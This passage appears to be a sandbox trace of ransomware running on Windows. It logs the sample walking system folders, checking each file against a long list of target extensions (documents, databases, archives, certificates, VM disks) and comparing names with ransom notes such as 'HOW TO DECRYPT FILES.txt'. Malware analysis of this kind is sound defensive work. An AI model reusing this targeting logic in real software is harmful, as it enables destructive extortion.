(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.mdb") returned 0 [0104.655] lstrlenA (lpString="*.mdb") returned 5 [0104.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.fdb") returned 0 [0104.655] lstrlenA (lpString="*.fdb") returned 5 [0104.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.wab") returned 0 [0104.655] lstrlenA (lpString="*.wab") returned 5 [0104.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.dat") returned 0 [0104.655] lstrlenA (lpString="*.dat") returned 5 [0104.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.txt") returned 0 [0104.655] lstrlenA (lpString="*.txt") returned 5 [0104.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.jpeg") returned 0 [0104.655] lstrlenA (lpString="*.jpeg") returned 6 [0104.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.jpg") returned 0 [0104.655] lstrlenA (lpString="*.jpg") returned 5 [0104.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.png") returned 0 [0104.655] lstrlenA (lpString="*.png") returned 5 [0104.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.php") returned 0 [0104.655] lstrlenA (lpString="*.php") returned 5 [0104.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.cs") returned 0 [0104.655] lstrlenA (lpString="*.cs") returned 4 [0104.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.cpp") returned 0 [0104.655] lstrlenA (lpString="*.cpp") returned 5 [0104.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.rar") returned 0 [0104.655] lstrlenA (lpString="*.rar") returned 5 [0104.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.zip") returned 0 [0104.655] lstrlenA (lpString="*.zip") returned 5 [0104.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.html") returned 0 [0104.656] lstrlenA (lpString="*.html") returned 6 [0104.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.htm") returned 0 [0104.656] lstrlenA (lpString="*.htm") returned 5 [0104.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.xlsx") returned 0 [0104.656] lstrlenA (lpString="*.xlsx") returned 6 [0104.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.xls") returned 0 [0104.656] lstrlenA (lpString="*.xls") returned 5 [0104.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.mp4") returned 0 [0104.656] lstrlenA (lpString="*.mp4") returned 5 [0104.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.ppt") returned 0 [0104.656] lstrlenA (lpString="*.ppt") returned 5 [0104.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.pptx") returned 0 [0104.656] lstrlenA (lpString="*.pptx") returned 6 [0104.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.doc") returned 0 [0104.656] lstrlenA (lpString="*.doc") returned 5 [0104.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.dot") returned 0 [0104.656] lstrlenA (lpString="*.dot") returned 5 [0104.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.docx") returned 0 [0104.656] lstrlenA (lpString="*.docx") returned 6 [0104.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.7z") returned 0 [0104.656] lstrlenA (lpString="*.7z") returned 4 [0104.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.tar") returned 0 [0104.656] lstrlenA (lpString="*.tar") returned 5 [0104.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.bz2") returned 0 [0104.656] lstrlenA (lpString="*.bz2") returned 5 [0104.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.gz") returned 0 [0104.657] lstrlenA (lpString="*.gz") returned 4 [0104.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.mkv") returned 0 [0104.657] lstrlenA (lpString="*.mkv") returned 5 [0104.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.eml") returned 0 [0104.657] lstrlenA (lpString="*.eml") returned 5 [0104.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.msg") returned 0 [0104.657] lstrlenA (lpString="*.msg") returned 5 [0104.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.edb") returned 0 [0104.657] lstrlenA (lpString="*.edb") returned 5 [0104.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.accdb") returned 0 [0104.657] lstrlenA (lpString="*.accdb") returned 7 [0104.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.odb") returned 0 [0104.657] lstrlenA (lpString="*.odb") returned 5 [0104.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.java") returned 0 [0104.658] lstrlenA (lpString="*.java") returned 6 [0104.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.asm") returned 0 [0104.658] lstrlenA (lpString="*.asm") returned 5 [0104.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.pfx") returned 0 [0104.658] lstrlenA (lpString="*.pfx") returned 5 [0104.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.pem") returned 0 [0104.658] lstrlenA (lpString="*.pem") returned 5 [0104.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.p12") returned 0 [0104.658] lstrlenA (lpString="*.p12") returned 5 [0104.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.gpg") returned 0 [0104.658] lstrlenA (lpString="*.gpg") returned 5 [0104.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.vsd") returned 0 [0104.658] lstrlenA (lpString="*.vsd") returned 5 [0104.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.odg") returned 0 [0104.658] lstrlenA (lpString="*.odg") returned 5 [0104.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.raw") returned 0 [0104.658] lstrlenA (lpString="*.raw") returned 5 [0104.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.nef") returned 0 [0104.658] lstrlenA (lpString="*.nef") returned 5 [0104.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.svg") returned 0 [0104.659] lstrlenA (lpString="*.svg") returned 5 [0104.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.psd") returned 0 [0104.659] lstrlenA (lpString="*.psd") returned 5 [0104.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.vmx") returned 0 [0104.659] lstrlenA (lpString="*.vmx") returned 5 [0104.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.vmdk") returned 0 [0104.659] lstrlenA (lpString="*.vmdk") returned 6 [0104.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.vdi") returned 0 [0104.659] lstrlenA (lpString="*.vdi") returned 5 [0104.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.lay6") returned 0 [0104.659] lstrlenA (lpString="*.lay6") returned 6 [0104.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.mpeg") returned 0 [0104.659] lstrlenA (lpString="*.mpeg") returned 6 [0104.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.djvu") returned 0 [0104.659] lstrlenA (lpString="*.djvu") returned 6 [0104.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.tiff") returned 0 [0104.659] lstrlenA (lpString="*.tiff") returned 6 [0104.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.backup") returned 0 [0104.659] lstrlenA (lpString="*.backup") returned 8 [0104.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.pdf") returned 0 [0104.659] lstrlenA (lpString="*.pdf") returned 5 [0104.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.cert") returned 0 [0104.659] lstrlenA (lpString="*.cert") returned 6 [0104.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.docm") returned 0 [0104.659] lstrlenA (lpString="*.docm") returned 6 [0104.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.xlsm") returned 0 [0104.660] lstrlenA (lpString="*.xlsm") returned 6 [0104.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.dwg") returned 0 [0104.660] lstrlenA (lpString="*.dwg") returned 5 [0104.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.nd") returned 0 [0104.660] lstrlenA (lpString="*.nd") returned 4 [0104.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.tlg") returned 0 [0104.660] lstrlenA (lpString="*.tlg") returned 5 [0104.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.lgb") returned 0 [0104.660] lstrlenA (lpString="*.lgb") returned 5 [0104.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.mov") returned 0 [0104.660] lstrlenA (lpString="*.mov") returned 5 [0104.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.xdw") returned 0 [0104.660] lstrlenA (lpString="*.xdw") returned 5 [0104.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.ods") returned 0 [0104.660] lstrlenA (lpString="*.ods") returned 5 [0104.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.wav") returned 0 [0104.660] lstrlenA (lpString="*.wav") returned 5 [0104.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.mp3") returned 0 [0104.660] lstrlenA (lpString="*.mp3") returned 5 [0104.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.aiff") returned 0 [0104.661] lstrlenA (lpString="*.aiff") returned 6 [0104.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.flac") returned 0 [0104.661] lstrlenA (lpString="*.flac") returned 6 [0104.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.m4a") returned 0 [0104.661] lstrlenA (lpString="*.m4a") returned 5 [0104.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMSvcHost\\1bc1ee3c3aa45d28dcf4657bceb2fcb4\\SMSvcHost.ni.exe", pszSpec="*.csv") returned 0 [0104.661] lstrlenA (lpString="*.csv") returned 5 [0104.661] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c17c1ea, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5c17c1ea, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5c1a234a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x59600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SMSvcHost.ni.exe", cAlternateFileName="SMSVCH~1.EXE")) returned 0 [0104.661] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.661] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c21476b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5c21476b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5c21476b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1bc1ee3c3aa45d28dcf4657bceb2fcb4", cAlternateFileName="1BC1EE~1")) returned 0 [0104.661] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.661] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f00db00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6f00db00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6f00db00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d0053, dwReserved1=0x760053, cFileName="SrpUxSnapIn", cAlternateFileName="SRPUXS~1")) returned 1 [0104.661] lstrcmpA (lpString1=".", lpString2="SrpUxSnapIn") returned -1 [0104.661] lstrcmpA (lpString1="..", lpString2="SrpUxSnapIn") returned -1 [0104.661] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.661] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="SrpUxSnapIn" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn" [0104.662] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn") returned 58 [0104.662] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f00db00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6f00db00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6f00db00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.662] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.662] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f00db00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6f00db00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6f00db00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.662] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.662] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.662] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f00db00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6f00db00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6f00db00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="593c2939737f10fc236c7b4de35271bc", cAlternateFileName="593C29~1")) returned 1 [0104.662] lstrcmpA (lpString1=".", lpString2="593c2939737f10fc236c7b4de35271bc") returned -1 [0104.662] lstrcmpA (lpString1="..", lpString2="593c2939737f10fc236c7b4de35271bc") returned -1 [0104.663] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\*.*") returned="*.*" [0104.663] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\", lpString2="593c2939737f10fc236c7b4de35271bc" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc" [0104.663] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc") returned 91 [0104.663] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f00db00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6f00db00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6f00db00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.666] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.666] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f00db00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6f00db00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6f00db00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.666] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.666] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.666] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e336c93, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x2e336c93, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xee74fb68, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x149e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SrpUxSnapIn.ni.dll", cAlternateFileName="SRPUXS~1.DLL")) returned 1 [0104.666] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.666] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SrpUxSnapIn.ni.dll") returned -1 [0104.666] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SrpUxSnapIn.ni.dll") returned -1 [0104.666] lstrcmpiA (lpString1="", lpString2="SrpUxSnapIn.ni.dll") returned -1 [0104.666] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\*.*") returned="*.*" [0104.666] lstrcpyA (in: lpString1=0x407019, 